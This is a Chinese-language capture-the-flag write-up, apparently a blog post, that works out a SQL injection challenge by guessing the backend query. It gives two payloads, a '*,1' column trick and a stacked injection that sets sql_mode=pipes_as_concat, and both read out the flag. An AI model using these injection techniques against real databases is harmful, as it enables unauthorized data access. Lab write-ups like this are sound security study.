这道题目需要我们去对后端语句进行猜测
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
此时的||起到的作用是or的作用
解法1
内置的sql语句为
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag
也就是
select *,1 from Flag
也就是直接查询出了Flag表中的所有内容
在这里插入图片描述
解法2
输入的内容为
1;set sql_mode=pipes_as_concat;select 1
在这里插入图片描述
我们执行的语句分别为
select 1
set sql_mode=pipes_as_concat
select 1||flag from Flag
读出flag
在这里插入图片描述
??一些疑惑:
**为啥select ,1||flag from Flag = select ,1 from Flag?
select 1 from table;的结果是什么?
在这里插入图片描述在这里插入图片描述
可以看到,查询结果为列名为1,一共六行
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
结论:
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。
这篇博客有介绍:https://www.cnblogs.com/jiechn/p/3979261.html
在这里插入图片描述